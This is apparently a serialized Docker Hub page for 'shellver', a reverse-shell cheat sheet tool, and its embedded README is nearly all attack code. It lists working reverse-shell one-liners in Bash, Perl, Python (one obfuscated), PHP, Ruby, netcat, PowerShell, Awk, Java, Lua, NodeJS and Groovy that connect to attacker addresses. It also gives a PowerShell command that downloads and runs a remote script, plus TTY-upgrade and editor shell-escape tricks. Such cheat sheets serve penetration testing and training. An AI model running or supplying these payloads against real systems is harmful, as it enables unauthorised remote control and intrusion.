[{"_1":2,"_176":-5,"_177":-5},"loaderData",{"_3":4,"_13":14,"_21":22,"_155":156},"root",{"_5":-5,"_6":-7,"_7":8,"_9":-7,"_10":11,"_12":-7},"currentUser","primaryEmail","siteVerification","6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI","toast","enableDev",false,"incidentStatus","routes/_layout",{"_15":-5,"_16":17,"_18":17,"_19":11,"_20":11},"username","isAskGordonEnabled",true,"isUsingNewTemplate","showMinimalLanding","showHoneypotTrap","routes/_layout.r.$namespace.$reponame",{"_23":24,"_25":-5,"_26":11,"_27":11,"_28":29,"_30":31,"_32":-5,"_33":11,"_34":35,"_84":85,"_109":110,"_148":-5,"_149":11,"_150":17,"_151":11,"_152":-5,"_153":154},"canonicalUrl","https://hub.docker.com/r/xshuden/shellver/tags","mcpServer","canSeeDockerfile","canSeeAutobuilds","namespace","xshuden","reponame","shellver","cloudBuildSource","isAutobuildsAvailable","repo",{"_36":37,"_38":39,"_41":42,"_43":44,"_45":11,"_46":47,"_48":49,"_50":51,"_53":31,"_28":29,"_54":55,"_56":40,"_57":58,"_59":60,"_61":62,"_63":-5,"_64":58,"_65":66,"_67":11,"_68":29,"_69":70,"_75":11,"_76":77,"_81":29,"_82":83},"categories",[],"content_types",[40],"image","date_registered","2018-11-26T05:25:59.130387Z","description","Reverse Shell Cheat Sheet Tool","is_private","last_updated","2018-11-26T05:25:59.485478Z","last_modified","2024-10-16T13:48:34.145251Z","media_types",[52],"application/vnd.docker.container.image.v1+json","name","pull_count",1091,"repository_type","star_count",0,"status",1,"status_description","active","source","collaborator_count","full_description","[![GitHub license](https://img.shields.io/github/license/0xR0/shellver.svg)](https://github.com/0xR0/shellver) [![GitHub stars](https://img.shields.io/github/stars/0xR0/shellver.svg)](https://github.com/0xR0/shellver/stargazers) [![GitHub forks](https://img.shields.io/github/forks/0xR0/shellver.svg)](https://github.com/0xR0/shellver/network) [![](https://images.microbadger.com/badges/image/xshuden/shellver.svg)](https://microbadger.com/images/xshuden/shellver \"Get your own image badge on microbadger.com\") [![](https://images.microbadger.com/badges/version/xshuden/shellver.svg)](https://microbadger.com/images/xshuden/shellver \"Get your own version badge on microbadger.com\")\n\n## Docker Run Command\n\n```\ndocker run --rm -idt --name shellver xshuden/shellver # container is deleted when you're done\nOR\ndocker run -idt --name shellver xshuden/shellver\n```\n\n# Reverse Shell Methods\n\n## Reverse Shell Cheat Sheet\n\n### Bash TCP\n\n```bash\nbash -i >& /dev/tcp/10.0.0.1/8080 0>&1\n\n0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196\n```\n\n### Bash UDP\n\n```bash\nVictim:\nsh -i >& /dev/udp/127.0.0.1/4242 0>&1\n\nListener:\nnc -u -lvp 4242\n```\n\n### Perl\n\n```perl\nperl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n\nperl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"[IPADDR]:[PORT]\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\n\n\nNOTE: Windows only\nperl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"[IPADDR]:[PORT]\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\n```\n\n### Python\n\nLinux only\n\n```python\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'\n```\n\n```python\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n\nWindows only\n\n```powershell\nC:\\Python27\\python.exe -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\\\windows\\\\system32\\\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))\"\n```\n\n### PHP\n\n```bash\nphp -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n```\n\n### Ruby\n\n```ruby\nruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'\n\nruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"[IPADDR]\",\"[PORT]\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\n\nNOTE: Windows only\nruby -rsocket -e 'c=TCPSocket.new(\"[IPADDR]\",\"[PORT]\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\n```\n\n### Netcat Traditional\n\n```bash\nnc -e /bin/sh [IPADDR] [PORT]\n```\n\n### Netcat OpenBsd\n\n```bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f\n```\n\n### Ncat\n\n```bash\nncat 127.0.0.1 4444 -e /bin/bash\nncat --udp 127.0.0.1 4444 -e /bin/bash\n```\n\n### Powershell\n\n```powershell\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\"[IPADDR]\",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\n```\n\n```powershell\npowershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\n```\n\n```powershell\npowershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')\n```\n\n### Awk\n\n```powershell\nawk 'BEGIN {s = \"/inet/tcp/0//\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null\n```\n\n### Java\n\n```java\nr = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()\n```\n\n### Lua\n\nLinux only\n\n```powershell\nlua -e \"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');\"\n```\n\nWindows and Linux\n\n```powershell\nlua5.1 -e 'local host, port = \"127.0.0.1\", 4444 local socket = require(\"socket\") local tcp = socket.tcp() local io = require(\"io\") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read(\"*a\") f:close() tcp:send(s) if status == \"closed\" then break end end tcp:close()'\n```\n\n### NodeJS\n\n```javascript\n(function(){\n var net = require(\"net\"),\n cp = require(\"child_process\"),\n sh = cp.spawn(\"/bin/sh\", []);\n var client = new net.Socket();\n client.connect(8080, \"10.17.26.64\", function(){\n client.pipe(sh.stdin);\n sh.stdout.pipe(client);\n sh.stderr.pipe(client);\n });\n return /a/; // Prevents the Node.js application form crashing\n})();\n\n\nor\n\nrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')\n\nor\n\n-var x = global.process.mainModule.require\n-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')\n```\n\n### Groovy - by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)\n\nNOTE: Java reverse shell also work for Groovy\n\n```javascript\nString host=\"localhost\";\nint port=8044;\nString cmd=\"cmd.exe\";\nProcess p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();\n```\n\n## Spawn TTY\n\n```bash\n/bin/sh -i\n```\n\n(From an interpreter)\n\n```powershell\npython -c 'import pty; pty.spawn(\"/bin/sh\")'\nperl -e 'exec \"/bin/sh\";'\nperl: exec \"/bin/sh\";\nruby: exec \"/bin/sh\"\nlua: os.execute('/bin/sh')\n```\n\nAccess shortcuts, su, nano and autocomplete in a partially tty shell\n/!\\ OhMyZSH might break this trick, a simple `sh` is recommended\n\n```powershell\n# in host\nctrl+z\nstty raw -echo\nfg\n\n# in reverse shell\nreset\nexport SHELL=bash\nexport TERM=xterm-256color\nstty rows columns \n```\n\n(From within vi)\n\n```bash\n:!bash\n:set shell=/bin/bash:shell\n```\n\n(From within nmap)\n\n```sh\n!sh\n```","has_starred","hub_user","immutable_tags_settings",{"_71":11,"_72":73},"enabled","rules",[74],".*","is_automated","permissions",{"_78":17,"_79":11,"_80":11},"read","write","admin","user","storage_size",27670908,"orgData",{"_86":87,"_88":89,"_90":91,"_92":29,"_93":94,"_95":96,"_97":98,"_99":100,"_101":102,"_103":104,"_105":106,"_107":106,"_108":17},"id","1ae263fc405c4b85b5b3924eaa4dd8ef","uuid","1ae263fc-405c-4b85-b5b3-924eaa4dd8ef","type","organization","orgname","full_name","Furkan SAYIM","location","Turkey","company","Seccops","profile_url","http://furkansayim.com","date_joined","2018-11-19T21:57:54.434653Z","gravatar_url","https://www.gravatar.com/avatar/c0f2612fdeeafe18d95421599c5135b9?s=80&r=g&d=mm","gravatar_email","","badge","is_active","recentTags",[111],{"_112":40,"_113":114,"_115":116,"_86":117,"_118":119,"_46":136,"_137":114,"_138":139,"_140":52,"_53":141,"_142":143,"_144":127,"_145":136,"_146":62,"_147":17},"content_type","creator",2327852,"full_size",27666771,40702964,"images",[120],{"_121":122,"_123":124,"_125":106,"_126":127,"_128":129,"_130":131,"_132":106,"_133":-5,"_134":116,"_59":62,"_135":-5},"architecture","amd64","digest","sha256:de599edb0185da3af856f4ab136ba5a2204f04abc2da837f4539b7a335ceaece","features","last_pulled","2026-09-13T02:06:48.178810174Z","last_pushed","2018-11-26T05:25:59Z","os","linux","os_features","os_version","size","variant","2018-11-26T05:25:59.008962Z","last_updater","last_updater_username","298374","media_type","latest","repository",6344137,"tag_last_pulled","tag_last_pushed","tag_status","v2","sbxKitMetadata","isPotentialSpam","isHubSbxKitsEnabled","displaySecurityMetadata","tagAttestations","tagsHaveAttestations",[],"routes/_layout.r.$namespace.$reponame.tags",{"_34":157,"_164":165,"_153":174,"_175":11},{"_36":158,"_38":159,"_41":42,"_43":44,"_45":11,"_46":47,"_48":49,"_50":160,"_53":31,"_28":29,"_54":55,"_56":40,"_57":58,"_59":60,"_61":62,"_63":-5,"_64":58,"_65":66,"_67":11,"_68":29,"_69":161,"_75":11,"_76":163,"_81":29,"_82":83},[],[40],[52],{"_71":11,"_72":162},[74],{"_78":17,"_79":11,"_80":11},"tags",{"_166":60,"_167":-5,"_168":-5,"_169":170},"count","next","previous","results",[171],{"_112":40,"_113":114,"_115":116,"_86":117,"_118":172,"_46":136,"_137":114,"_138":139,"_140":52,"_53":141,"_142":143,"_144":127,"_145":136,"_146":62,"_147":17},[173],{"_121":122,"_123":124,"_125":106,"_126":127,"_128":129,"_130":131,"_132":106,"_133":-5,"_134":116,"_59":62,"_135":-5},[],"canDeleteTags","actionData","errors"]

xshuden/shellver

Tags for xshuden/shellver